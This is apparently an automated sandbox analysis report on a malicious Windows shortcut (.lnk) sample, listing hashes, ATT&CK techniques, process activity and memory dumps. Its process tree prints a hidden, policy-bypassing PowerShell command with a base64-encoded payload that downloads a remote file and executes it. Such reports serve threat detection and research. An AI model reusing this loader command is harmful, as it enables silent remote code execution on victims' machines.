0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2

Resubmissions

11/04/2024, 18:11

240411-ws3kfaha678

06/04/2024, 07:43

240406-jj8nwadg4v10

Analysis

max time kernel
590s
max time network
599s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
11/04/2024, 18:11

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General

Target
DOC8934 - 89348934.lnk
Size 9KB
Sample240411-ws3kfaha67
SHA256 0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2
MD5 baadcd553ba6a56e2f81332206e331cf
SHA1 3d76bdf72f15dc17ca2aed3237aa2ee680534de1
SHA512 b16efc3a8b6e3b3afbe7817e7c4b30f889de212d1db41ccac47f2ccbe04dd6b7b19fb381084bacf5cdc2dfe2838922c1e47b779136f7ea4044fc451772c739e0
SSDEEP 192:8z5ph43MSBfQb94y8O5Wp9EJmuBT/HVXhdyfUVLqHGPJzylV/Xt4OnuRG:u5f+MS5QH8EDJHx7ycVLUGhzWXr
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1768	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1768	powershell.exe
1768	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1768	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4844 wrote to memory of 1768	4844	cmd.exe	92
PID 4844 wrote to memory of 1768	4844	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC8934 - 89348934.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1768

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1424 --field-trial-handle=2180,i,12780723798465539942,12010519452607841069,262144 --variations-seed-version /prefetch:8
1⤵
PID:5044

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3556 --field-trial-handle=2180,i,12780723798465539942,12010519452607841069,262144 --variations-seed-version /prefetch:8
1⤵
PID:3152

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_b2iftifh.x04.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b2iftifh.x04.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1768-11-0x00000199FAA50000-0x00000199FAA72000-memory.dmp

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memory/1768-12-0x00007FFAE3680000-0x00007FFAE4141000-memory.dmp

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memory/1768-15-0x00000199FAA80000-0x00000199FAA90000-memory.dmp

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memory/1768-14-0x00000199FAA80000-0x00000199FAA90000-memory.dmp

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memory/1768-13-0x00000199FAA80000-0x00000199FAA90000-memory.dmp

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memory/1768-18-0x00007FFAE3680000-0x00007FFAE4141000-memory.dmp

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